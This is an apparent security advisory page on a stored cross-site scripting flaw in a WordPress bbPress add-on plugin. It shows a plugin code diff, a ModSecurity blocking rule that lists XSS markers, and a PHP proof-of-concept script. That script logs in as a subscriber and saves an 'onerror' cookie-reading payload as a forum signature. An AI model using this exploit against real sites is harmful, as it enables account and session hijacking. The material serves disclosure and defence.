+                    <th scope="row"><label for="view_latesttopics_active"><?php esc_html_e( 'Active', 'gd-bbpress-tools' ); ?></label></th>
+                    <td>
+                        <input type="checkbox" <?php if ( $options["view_latesttopics_active"] == 1 ) {
+                            echo " checked";
+                        } ?> id="view_latesttopics_active" name="view_latesttopics_active"/>
+                    </td>
+                </tr>
+                </tbody>
+            </table>
+        </fieldset>
+
+        <fieldset>
+            <h3><?php esc_html_e( 'Topics by freshness', 'gd-bbpress-tools' ); ?></h3>
+            <p><?php esc_html_e( 'This view will show list of topics ordered by freshness (latest activity).', 'gd-bbpress-tools' ); ?></p>
+            <table class="form-table">
+                <tbody>
+                <tr>
+                    <th scope="row"><label for="view_topicsfreshness_active"><?php esc_html_e( 'Active', 'gd-bbpress-tools' ); ?></label></th>
+                    <td>
+                        <input type="checkbox" <?php if ( $options["view_topicsfreshness_active"] == 1 ) {
+                            echo " checked";
+                        } ?> id="view_topicsfreshness_active" name="view_topicsfreshness_active"/>
+                    </td>
+                </tr>
+                </tbody>
+            </table>
+        </fieldset>
+
+        <p class="submit">
+            <input type="submit" value="<?php esc_html_e( 'Save Changes', 'gd-bbpress-tools' ); ?>" class="button-primary gdbb-tools-submit" id="gdbb-views-submit" name="gdbb-views-submit"/>
+        </p>
+    </div>
+    <div class="d4p-settings-second">
+        <?php include( GDBBPRESSTOOLS_PATH . 'forms/more/toolbox.php' ); ?>
+    </div>
+
+    <div class="d4p-clear"></div>
+</form>
--- a/gd-bbpress-tools/forms/tools/signature_bbpress.php
+++ b/gd-bbpress-tools/forms/tools/signature_bbpress.php
@@ -1,24 +1,39 @@
-<?php
-
-if ( ! defined( 'ABSPATH' ) ) {
-    exit;
-}
-
-?>
-
-<h2 class="entry-title"><?php bbp_is_user_home() ? esc_html_e( 'Your Forum Signature', 'gd-bbpress-tools' ) : esc_html_e( 'User Forum Signature', 'gd-bbpress-tools' ); ?></h2>
-<fieldset class="bbp-form">
-    <legend><?php bbp_is_user_home() ? esc_html_e( 'Your Forum Signature', 'gd-bbpress-tools' ) : esc_html_e( 'User Forum Signature', 'gd-bbpress-tools' ); ?></legend>
-    <?php do_action( 'bbp_user_edit_before_signature' ); ?>
-    <div>
-        <label for="signature"><?php esc_html_e( 'Signature', 'gd-bbpress-tools' ); ?></label>
-        <fieldset class="bbp-form">
-            <textarea name="signature" id="signature" rows="5" cols="30" style="width: 100%;"><?php echo esc_textarea( $_signature ?? '' ); ?></textarea>
-            <span class="description">
-                <?php echo sprintf( esc_html__( 'Signature length is limited to %s characters.', 'gd-bbpress-tools' ), ( $this->max_length ?? 512 ) ); ?><br/>
-                <?php do_action( 'bbp_user_edit_signature_info' ); ?>
-            </span>
-        </fieldset>
-    </div>
-    <?php do_action( 'bbp_user_edit_after_signature' ); ?>
-</fieldset>
+<?php
+
+if ( ! defined( 'ABSPATH' ) ) {
+    exit;
+}
+
+?>
+
+<h2 class="entry-title"><?php bbp_is_user_home() ? esc_html_e( 'Your Forum Signature', 'gd-bbpress-tools' ) : esc_html_e( 'User Forum Signature', 'gd-bbpress-tools' ); ?></h2>
+<fieldset class="bbp-form">
+    <legend><?php bbp_is_user_home() ? esc_html_e( 'Your Forum Signature', 'gd-bbpress-tools' ) : esc_html_e( 'User Forum Signature', 'gd-bbpress-tools' ); ?></legend>
+    <?php
+    /**
+     * Fires inside the bbPress signature editor, before the signature field.
+     */
+    do_action( 'bbp_user_edit_before_signature' );
+    ?>
+    <div>
+        <label for="signature"><?php esc_html_e( 'Signature', 'gd-bbpress-tools' ); ?></label>
+        <fieldset class="bbp-form">
+            <textarea name="signature" id="signature" rows="5" cols="30" style="width: 100%;"><?php echo esc_textarea( $_signature ?? '' ); ?></textarea>
+            <span class="description">
+                <?php echo sprintf( esc_html__( 'Signature length is limited to %s characters.', 'gd-bbpress-tools' ), ( $this->max_length ?? 512 ) ); ?><br/>
+                <?php
+                /**
+                 * Fires after the signature length notice in bbPress and BuddyPress profile forms.
+                 */
+                do_action( 'bbp_user_edit_signature_info' );
+                ?>
+            </span>
+        </fieldset>
+    </div>
+    <?php
+    /**
+     * Fires inside the bbPress signature editor, after the signature field and its description.
+     */
+    do_action( 'bbp_user_edit_after_signature' );
+    ?>
+</fieldset>
--- a/gd-bbpress-tools/forms/tools/signature_buddypress.php
+++ b/gd-bbpress-tools/forms/tools/signature_buddypress.php
@@ -1,16 +1,19 @@
-<?php
-
-if ( ! defined( 'ABSPATH' ) ) {
-    exit;
-}
-
-?>
-
-<div>
-    <label for="signature"><?php esc_html_e( 'Forum Signature', 'gd-bbpress-tools' ); ?></label>
-    <textarea name="signature" id="signature" rows="5" cols="30"><?php echo esc_textarea( $_signature ?? '' ); ?></textarea><br/>
-    <span class="description">
-        <?php echo sprintf( esc_html__( 'Signature length is limited to %s characters.', 'gd-bbpress-tools' ), ( $this->max_length ?? 512 ) ); ?><br/>
-        <?php do_action( 'bbp_user_edit_signature_info' ); ?>
-    </span>
-</div>
+<?php
+
+if ( ! defined( 'ABSPATH' ) ) {
+    exit;
+}
+
+?>
+
+<div>
+    <label for="signature"><?php esc_html_e( 'Forum Signature', 'gd-bbpress-tools' ); ?></label>
+    <textarea name="signature" id="signature" rows="5" cols="30"><?php echo esc_textarea( $_signature ?? '' ); ?></textarea><br/>
+    <span class="description">
+        <?php echo sprintf( esc_html__( 'Signature length is limited to %s characters.', 'gd-bbpress-tools' ), ( $this->max_length ?? 512 ) ); ?><br/>
+        <?php
+        /** This action is documented in forms/tools/signature_bbpress.php. */
+        do_action( 'bbp_user_edit_signature_info' );
+        ?>
+    </span>
+</div>
--- a/gd-bbpress-tools/gd-bbpress-tools.php
+++ b/gd-bbpress-tools/gd-bbpress-tools.php
@@ -1,15 +1,15 @@
 <?php

 /**
- * Plugin Name:       GD bbPress Tools
+ * Plugin Name:       forumTools for bbPress
  * Plugin URI:        https://www.dev4press.com/plugins/gd-bbpress-tools/
  * Description:       Adds different expansions and tools to the bbPress plugin powered forums: BBCode support, signatures, various tweaks, custom views, quote...
  * Author:            Milan Petrovic
  * Author URI:        https://www.dev4press.com/
  * Text Domain:       gd-bbpress-tools
- * Version:           4.0.1
- * Requires at least: 6.2
- * Tested up to:      7.0
+ * Version:           4.1
+ * Requires at least: 6.4
+ * Tested up to:      7.2
  * Requires PHP:      8.0
  * Requires Plugins:  bbpress
  * License:           GPLv3 or later

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-136596
SecRule REQUEST_URI "@rx ^/wp-admin/(profile|admin-ajax).php" 
  "id:20261365,phase:2,deny,status:403,chain,msg:'CVE-2026-136596 via GD bbPress Tools signature XSS',severity:'CRITICAL',tag:'CVE-2026-136596'"
  SecRule ARGS_POST:signature "@rx <script|onerror|onload|javascript:|alert(|prompt(|confirm(" 
    "t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,chain"
    SecRule REQUEST_URI "@rx ^/wp-admin/(profile|admin-ajax).php" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-136596 - GD bbPress Tools <= 4.0.1 - Authenticated (Subscriber+) Stored Cross-Site Scripting via User Signature

$target_url = 'http://wordpress.local'; // Configure your target WordPress site
$username = 'subscriber'; // Subscriber-level username
$password = 'password'; // Subscriber password

// Initialize cURL session
$ch = curl_init();

// Step 1: Log in as the subscriber to obtain cookies
$login_url = $target_url . '/wp-login.php';
$login_data = array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
);
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);

// Step 2: Craft the malicious signature payload
// This payload will execute when an admin views the user's topic on the Edit Topic screen
$malicious_signature = '<img src=x onerror=alert(document.cookie)>';

// Step 3: Submit the signature update via the profile edit form
// The vulnerable endpoint is typically /wp-admin/profile.php or the bbPress profile edit page
$profile_url = $target_url . '/wp-admin/profile.php';
$post_data = array(
    'action' => 'update',
    'user_id' => '2', // Replace with the actual user ID (often retrieved from the profile page)
    'signature' => $malicious_signature,
    // Include other required fields to avoid validation errors
    'first_name' => 'Test',
    'last_name' => 'User',
    'nickname' => $username,
    'email' => 'subscriber@example.com',
    'submit' => 'Update Profile'
);

curl_setopt($ch, CURLOPT_URL, $profile_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
$response = curl_exec($ch);

// Step 4: Verify the signature was stored by checking the user's profile page
// The stored XSS will be triggered when an admin views the user's topic.
// For demonstration, we output a success message.
echo "Signature update submitted with payload: $malicious_signaturen";
echo "Check the admin Edit Topic screen for the attacker's topic to see the XSS trigger.n";

curl_close($ch);
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.